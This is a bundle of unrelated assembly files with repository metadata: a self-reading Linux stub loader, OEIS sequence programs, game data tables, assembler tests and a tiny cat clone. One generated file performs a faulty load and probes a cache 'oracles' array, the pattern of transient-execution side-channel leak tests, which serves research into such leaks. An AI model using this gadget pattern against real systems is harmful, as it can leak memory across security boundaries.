stub/stublib.asm
paule32/forth2asm
b1208581cd94017f8207b4b3bff28f0bce81ff7e
[ "MIT" ]
1
2019-11-30T15:10:31.000Z
2019-11-30T15:10:31.000Z
; ----------------------------------------------------------------------------- ; MIT License ; ; Copyright (c) 2019 Jens Kallup ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ----------------------------------------------------------------------------- ; usage: nasm -f bin -o test test.asm ; ----------------------------------------------------------------------------- %include 'header32.asm' ; elf32 binary header %include "syslib32.asm" ; system lib loader ; ----------------------------------------------------------------------------- ; entry point of stub program ... ; ; Linux startup on console is stack based: ; ; EBX => numbers of arguments (see below) ; EBP => put the given argument value/name into EBP (depend by "pop ebp") ; ; $ ./stubprogram 42 A ; | | | ; | | +--- argv[2] ; | +------ argv[1] ; +--------- argv[0] (shall include path name + program name) ; ----------------------------------------------------------------------------- section .text _start: sys_prolog sys_getcmdline_args mov esi, [ebp + 8] ; argv[0] mov ecx, 0 ; counter; string is in ESI .repeat: lodsb ; load string byte by byte test al, al ; check if zero (terminator \0 jz .done ; yes, we done the loop inc ecx ; increment counter jmp .repeat ; loop .done: mov edx, ecx ; string length mov esi, [ebp + 8] ; the string itself mov ebx, stdout ; output goes to console call sys_write ; ------------------------------------- ; open argv[0], name is in EBX ; with read-only flag. ; return value in EAX will have file ; descriptor on success ... ; ------------------------------------- mov edx, [ebp + 8] sys_open edx, O_RDONLY, O_RDONLY, file_desc jmp .error ; there was an error, errno saved in EAX .file_ok: mov [file_desc], eax ; save file descriptor from EAX ; ---------------------------------------------------- ; for write the attachment: ; create file with (-rwxr-xr-x) access rights ... ; ; access modes of new file: ; 1 = --x, | r := read ; 5 = --r-x, | w := write ; 6 = --r, | x := exec ; 7 = --r-x, | ; 15 = -xr-x | all access flag in octal ! ; 127 = ---xr-xr-x, | ; 128 = --w------- | ; 255 = --wxr-xr-x, | ; 256 = -r-------- | ; 511 = -rwxr-xr-x, | ; 512 = ---------T | ; 666 = --w---x--T, | ; 755 = --wxr----t | ; ---------------------------------------------------- %ifdef DEBUG_TEST sys_creat tmp_file, 0o750 ; access right sys_open tmp_file, O_WRONLY, O_WRONLY, tmp_desc test eax, eax jns .file_ok2 jmp .error .file_ok2: mov [tmp_desc], eax ; save file descriptor %endif ; --------------------------------- ; seek to stub file size position, ; and read the attachment ... ; --------------------------------- sys_lseek file_desc, filesize, SEEK_SET ; ----------------------------------------------------------------------------- ; for test the kernel, may removed at later time ... ; ----------------------------------------------------------------------------- jmp .jumper ; over jump nex code (peephole) %ifdef DEBUG_TEST .read2: mov ebx, [file_desc] ; sys_open returned fd in EAX (input fd) mov ecx, char_buff ; buffer mov edx, 1 ; count read (1 byte) call sys_read ; "read" kernel call cmp eax, 0 ; check if pointer EOF, or null-byte jle .is_eof ; yes, close file ; mov ebx, [tmp_desc] ; ramfs file descriptor mov ecx, char_buff ; buffer mov edx, 1 ; buffer size call sys_write jmp .read2 ; else, read next char %endif .jumper: call dll_entry .is_eof: syscall SYS_SYNC, nop ; write buffers ; ----------------------------------------------------------------------------- ; Linux close file descriptors automatically at end of exec. or process ; ----------------------------------------------------------------------------- sys_close tmp_desc sys_close file_desc .error: sys_exit 0 ; should be exit the program without segfault err. ; ----------------------------------------------------------------------------- ; data segment - moved to the end of code ; ----------------------------------------------------------------------------- section .data ;tmp_file db "/tmp/stub.tmp", 0 ;tmp_file_len equ $ - tmp_file cant_loadstub_msg db "error", 10, 0 cant_loadstub_msg_len equ $ - cant_loadstub_msg file_desc: dd 0 tmp_desc: dd 0 ; ----------------------------------------------------------------------------- ; bss segment - null data: static allocated memory ... ; ----------------------------------------------------------------------------- section .bss char_buff: resb 1 ; ----------------------------------------------------------------------------- ; E-O-F - End Of File (stub) ... ; ----------------------------------------------------------------------------- filesize equ $ - $$ ; ----------------------------------------------------------------------------- ; now, attachment follows ... ; ----------------------------------------------------------------------------- section .text dll_entry: jmp .main .main: ret section .data ; ----------------------------------------------------------------------------- ; program dependcies: DLL + function name(s) ... ; ----------------------------------------------------------------------------- %define KERNEL32_DLL ; nark, to tell nasm using kernel32.dll code %define KERNEL32_DLL_FUNC1 ; mark, to tell nasm-lib use func1 %define KERNEL32_DLL_FUNC2 ; mark, func1 ... ; ----------------------------------------------------------------------------- ; DLL import/include .data ... ; ----------------------------------------------------------------------------- %ifdef KERNEL32_DLL %include "kernel32.asm" %endif
39.158163
81
0.418632
5313d9aada68b9dffb034a7683a29e9f22928fba
493
asm
Assembly
programs/oeis/270/A270456.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/270/A270456.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/270/A270456.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A270456: First differences of number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 163", based on the 5-celled von Neumann neighborhood. ; 4,4,24,-8,60,-36,112,-80,180,-140,264,-216,364,-308,480,-416,612,-540,760,-680,924,-836,1104,-1008,1300,-1196,1512,-1400,1740,-1620,1984,-1856,2244,-2108,2520,-2376,2812,-2660,3120,-2960,3444,-3276,3784,-3608,4140 mov $1,-2 bin $1,$0 mul $1,$0 add $1,$0 add $1,$0 div $1,2 mul $1,4 add $1,4
41.083333
215
0.699797
a9c4dc6b89be1c70c4d8b4d5c3d6b65c4dc2a89c
147
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm/zel_init.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm/zel_init.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm/zel_init.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_init.asm Type: file Size: 281006 Last-Modified: '2016-05-13T04:20:48Z' SHA-1: 94EB80770B2AE442EE6C9EA6D65B29332E1D054E Description: null
21
47
0.816327
eb1713256b55b4f4962f40baa6901f8c49ddd4d8
696
asm
Assembly
data/pokemon/base_stats/articuno.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/pokemon/base_stats/articuno.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/pokemon/base_stats/articuno.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
db DEX_ARTICUNO ; pokedex id db 90, 85, 100, 85, 125 ; hp atk def spd spc db ICE, FLYING ; type db 3 ; catch rate db 215 ; base exp INCBIN "gfx/pokemon/front/articuno.pic", 0, 1 ; sprite dimensions dw ArticunoPicFront, ArticunoPicBack db DRILL_PECK, ICE_BEAM, QUICK_ATTACK, NO_MOVE ; level 1 learnset db GROWTH_SLOW ; growth rate ; tm/hm learnset tmhm RAZOR_WIND, WHIRLWIND, TOXIC, TAKE_DOWN, DOUBLE_EDGE, \ BUBBLEBEAM, WATER_GUN, ICE_BEAM, BLIZZARD, HYPER_BEAM, \ RAGE, MIMIC, DOUBLE_TEAM, REFLECT, BIDE, \ SWIFT, SKY_ATTACK, REST, SUBSTITUTE, FLY ; end db 0 ; padding
29
77
0.617816
8c99757d911375aae169974a6081287803849fec
219
asm
Assembly
programs/oeis/155/A155934.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/155/A155934.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/155/A155934.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A155934: The sequence k(m) defined in A005991. ; 2,3,3,3,3,4,4,4,4,4,4,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7 add $0,1 lpb $0 add $1,2 min $1,11 sub $0,$1 lpe div $1,2 add $1,2 mov $0,$1
16.846154
85
0.552511
0695fccdae9cfd1b550a3b63e304169b6fd2457e
544
asm
Assembly
programs/oeis/248/A248577.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/248/A248577.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/248/A248577.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A248577: Product of the number of divisors of n and the number of distinct prime divisors of n; i.e., tau(n) * omega(n). ; 0,2,2,3,2,8,2,4,3,8,2,12,2,8,8,5,2,12,2,12,8,8,2,16,3,8,4,12,2,24,2,6,8,8,8,18,2,8,8,16,2,24,2,12,12,8,2,20,3,12,8,12,2,16,8,16,8,8,2,36,2,8,12,7,8,24,2,12,8,24,2,24,2,8,12,12,8,24,2,20,5,8,2,36,8,8,8,16,2,36,8,12,8,8,8,24,2,12,12,18 mov $1,$0 seq $0,322307 ; Number of multisets in the swell of the n-th multiset multisystem. seq $1,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. mul $0,$1
68
235
0.641544
5331c64779ee1aaa33b0171fee1090d74f584ee7
217
asm
Assembly
dv3/q68/win/version.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
dv3/q68/win/version.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
dv3/q68/win/version.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; Q68 WIN DRIVER Version (c) W. Lenerz 2017 section version xdef win_vers xdef win.rev win_vers equ '1.01' win.rev equ 0 hd_vmess dc.w 'Q68 WIN Driver V' dc.l win_vers dc.b ' ',$a hd_vmend ds.w 0 end
12.055556
44
0.668203
0fde9417b4f8488b505c5fc5e5ef8af4da5ab6b5
1,284
asm
Assembly
programs/oeis/024/A024044.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/024/A024044.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/024/A024044.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A024044: a(n) = 4^n - n^8. ; 1,3,-240,-6497,-65280,-389601,-1675520,-5748417,-16711680,-42784577,-98951424,-210164577,-413204480,-748621857,-1207353600,-1489148801,0,10204111743,57699516160,257894343903,1073911627776,4360223651743,17537310170880,70290433192383,281364901396480,1125747318951999,4503390800305920,18014116079945503,72057216235929600,288229875905298783,1152920848506846976,4611685165536350463,18446742974197923840,73786974888429588223,295147903393558920960,1180591618465535912799,4722366480048535306240,18889465927966101400863,75557863721566531280640,302231454898305284416063,1208925819608075574706176,4835703278450531773595583,19342813113824384143302400,77371252455324578980917663,309485009821331020501155840,1237940039285363459773733599,4951760157141501051984264960,19807040628566060587099325823,79228162514264309414263521280,316912650057057317141245231743,1267650600228229362434203205376,5070602400912917560218868251103,20282409603651670370487522754560,81129638414606681633529314732703,324518553658426726710854059237120,1298074214633706907048890144414399,5192296858534827628433779017646080,20769187434139310514010556159768383,83076749736557242056359878185803520,332306998946228968225804934632481823 mov $1,4 pow $1,$0 pow $0,8 add $0,1 sub $1,$0 add $1,1 mov $0,$1
116.727273
1,187
0.903427
6d749acddc61976168657c0893bccb3caaa3aee9
7,116
asm
Assembly
Transynther/x86/_processed/NONE/_st_/i3-7100_9_0xca_notsx.log_21829_1762.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_/i3-7100_9_0xca_notsx.log_21829_1762.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_/i3-7100_9_0xca_notsx.log_21829_1762.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0xc938, %rsi lea addresses_A_ht+0x54a8, %rdi clflush (%rsi) nop sub %rax, %rax mov $4, %rcx rep movsq nop nop nop nop nop and $15655, %rdi lea addresses_D_ht+0xa18, %rsi lea addresses_UC_ht+0x17898, %rdi nop nop dec %r13 mov $15, %rcx rep movsq nop nop add $32185, %rcx lea addresses_WT_ht+0x14118, %r10 nop nop dec %r8 mov (%r10), %r13d nop nop nop nop cmp $40240, %rsi lea addresses_WT_ht+0x8b4b, %rax nop nop nop sub %r8, %r8 mov $0x6162636465666768, %r13 movq %r13, (%rax) nop add $17272, %r8 lea addresses_normal_ht+0xbb18, %rax nop nop nop nop nop xor $23004, %r8 movl $0x61626364, (%rax) nop nop nop nop nop xor %rsi, %rsi lea addresses_normal_ht+0x12d98, %rsi clflush (%rsi) sub $11583, %r8 movl $0x61626364, (%rsi) nop nop nop nop nop inc %r10 lea addresses_WT_ht+0x1198, %r13 nop nop nop nop xor %r10, %r10 movb $0x61, (%r13) nop nop nop sub %r10, %r10 lea addresses_WT_ht+0x185a4, %rsi lea addresses_WC_ht+0x1e358, %rdi nop nop nop nop and $59233, %r13 mov $99, %rcx rep movsw nop nop nop add $14248, %r10 lea addresses_WC_ht+0x1a218, %rsi lea addresses_WT_ht+0xfe74, %rdi clflush (%rsi) nop nop nop nop xor $31744, %r8 mov $62, %rcx rep movsq nop nop xor $5869, %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WC+0x7fc8, %rdx clflush (%rdx) nop nop nop nop nop add $64701, %rdi mov $0x5152535455565758, %rbp movq %rbp, (%rdx) add $27017, %rdi // REPMOV lea addresses_PSE+0x1369c, %rsi lea addresses_D+0x1298, %rdi nop nop nop nop and $37807, %r11 mov $45, %rcx rep movsw nop nop nop nop add $10222, %rbp // Store lea addresses_D+0x11850, %rdx nop nop add %rbp, %rbp movl $0x51525354, (%rdx) nop nop nop xor $16888, %r14 // Faulty Load lea addresses_D+0x1298, %rax nop nop nop nop nop sub $17810, %rsi mov (%rax), %rcx lea oracles, %rdi and $0xff, %rcx shlq $12, %rcx mov (%rdi,%rcx,1), %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_PSE', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D', 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': True}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': True}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
32.642202
2,999
0.658797
5fc07d3dc3425b7ddf44eb607b857d885a630d46
2,717
asm
Assembly
assembler/tests/t_900addr/t_900addr.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_900addr/t_900addr.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_900addr/t_900addr.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
cpu 96c141 page 0 maxmode on ; ordinary case with dest=reg and src=mem: ; operand & default autoinc/dec amount is given by register ; 8 bit: LD A,(XBC+) ; hex = C5 E4 21 LD A,(XBC+:1) LD A,(XBC++1) LD A,(XBC+:2) ; disassembler 1 : hex = C5 E5 21 LD A,(XBC++2) ; disassembler 2 : hex = C5 E5 21 LD A,(XBC+:4) ; hex = C5 E6 21 LD A,(XBC++4) ; hex = C5 E6 21 LD A,(-XBC) ; equal to 1-- LD A,(-XBC:1) LD A,(1--XBC) LD A,(-XBC:2) LD A,(2--XBC) LD A,(-XBC:4) LD A,(4--XBC) ; 16 bit: LD WA,(XBC+) ; equal to ++2 LD WA,(XBC+:1) LD WA,(XBC++1) LD WA,(XBC+:2) LD WA,(XBC++2) LD WA,(XBC+:4) LD WA,(XBC++4) LD WA,(-XBC) ; equal to 2-- LD WA,(-XBC:1) LD WA,(1--XBC) LD WA,(-XBC:2) LD WA,(2--XBC) LD WA,(-XBC:4) LD WA,(4--XBC) ; 32 bit: LD XWA,(XBC+) ; equal to ++4 LD XWA,(XBC+:1) LD XWA,(XBC++1) LD XWA,(XBC+:2) LD XWA,(XBC++2) LD XWA,(XBC+:4) LD XWA,(XBC++4) LD XWA,(-XBC) ; equal to 4-- LD XWA,(-XBC:1) LD XWA,(1--XBC) LD XWA,(-XBC:2) LD XWA,(2--XBC) LD XWA,(-XBC:4) LD XWA,(4--XBC) ; reverse case dest=mem and src=reg: ; operand size & autoinc/dec default amount is given by src register ; if inc/dec amount no specified explicitly, fixed up later after ; src register has been parsed ; 8 bit: LD (XBC+),A LD (XBC+:1),A LD (XBC++1),A LD (XBC+:2),A LD (XBC++2),A LD (XBC+:4),A LD (XBC++4),A LD (-XBC),A LD (-XBC:1),A LD (1--XBC),A LD (-XBC:2),A LD (2--XBC),A LD (-XBC:4),A LD (4--XBC),A ; 16 bit: LD (XBC+),WA LD (XBC+:1),WA LD (XBC++1),WA LD (XBC+:2),WA LD (XBC++2),WA LD (XBC+:4),WA LD (XBC++4),WA LD (-XBC),WA LD (-XBC:1),WA LD (1--XBC),WA LD (-XBC:2),WA LD (2--XBC),WA LD (-XBC:4),WA LD (4--XBC),WA ; 32 bit: LD (XBC+),XWA LD (XBC+:1),XWA LD (XBC++1),XWA LD (XBC+:2),XWA LD (XBC++2),XWA LD (XBC+:4),XWA LD (XBC++4),XWA LD (-XBC),XWA LD (-XBC:1),XWA LD (1--XBC),XWA LD (-XBC:2),XWA LD (2--XBC),XWA LD (-XBC:4),XWA LD (4--XBC),XWA ; LDA case: in principle, the "operand size" is unknown, since ; no actual data transfer takes place. However, we assume 16/32 bits, ; deduced from the 16/32 bit destination register taking the effective address LDA XWA,XSP LDA XWA,(XSP) LDA XIX,XIY+33h LDA XIX,(XIY+33h) LDA XIX,XIY+ LDA XIX,(XIY+) LDA XIX,XIY+:1 LDA XIX,(XIY+:1) LDA XIX,XIY++1 LDA XIX,(XIY++1) LDA XIX,XIY+:2 LDA XIX,(XIY+:2) LDA XIX,XIY++2 LDA XIX,(XIY++2) LDA XIX,XIY+:4 LDA XIX,(XIY+:4) LDA XIX,XIY++4 LDA XIX,(XIY++4) LDA XIX,-XIY LDA XIX,(-XIY) LDA XIX,-XIY:1 LDA XIX,(-XIY:1) LDA XIX,1--XIY LDA XIX,(1--XIY) LDA XIX,-XIY:2 LDA XIX,(-XIY:2) LDA XIX,2--XIY LDA XIX,(2--XIY) LDA XIX,-XIY:4 LDA XIX,(-XIY:4) LDA XIX,4--XIY LDA XIX,(4--XIY)
17.305732
86
0.566802
9ead5bd021c0310e7be1fdc437cabd8edd6a09cc
1,044
asm
Assembly
kitten.asm
nlburgin/kitten
190b8f7e3169a1b3d918f928dc31a0d8c0e1eea1
[ "Unlicense" ]
1
2019-12-21T21:51:24.000Z
2019-12-21T21:51:24.000Z
kitten.asm
nlburgin/kitten
190b8f7e3169a1b3d918f928dc31a0d8c0e1eea1
[ "Unlicense" ]
null
null
null
kitten.asm
nlburgin/kitten
190b8f7e3169a1b3d918f928dc31a0d8c0e1eea1
[ "Unlicense" ]
null
null
null
;Kitten: stupidly overoptimized replacement for `cat` command ;Does not take stdin ;Any argument that's not a file we can read is silently skipped. ;When called on a list of valid files, should behave identical to regular cat bits 64 section .text global _start ;must be declared for linker (ld) _start: ;tell linker entry point mov rax,[rsp] cmp eax,1 jle _exit add rsp,8 jmp _mainloop align 32 _mainloop: add rsp,8 mov rdi,[rsp] test rdi,rdi je _exit ;open mov rax,2 ;pathname already in rdi xor rsi,rsi ;no special flags syscall mov rbx,rax ;store in nonvolatile register mov r9,0x00aaaaaa00; basically a long nop since we don't use this register align 32 _readloop: ;read mov edi,ebx xor rax,rax mov rsi,buffer mov rdx,1024 ;null pointer in rdx syscall cmp ax,0 jle _mainloop ;write movzx rdx,ax mov rax,1 mov rdi,1 mov rsi,buffer syscall jmp _readloop align 32 _exit: xor di,di mov rax,60 syscall section .bss alignb 1024 buffer: resb 1024
16.571429
77
0.704981
d44285d8b55cce1625ade3c68229b45489fd6b3c
1,510
asm
Assembly
programs/oeis/192/A192951.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/192/A192951.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/192/A192951.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
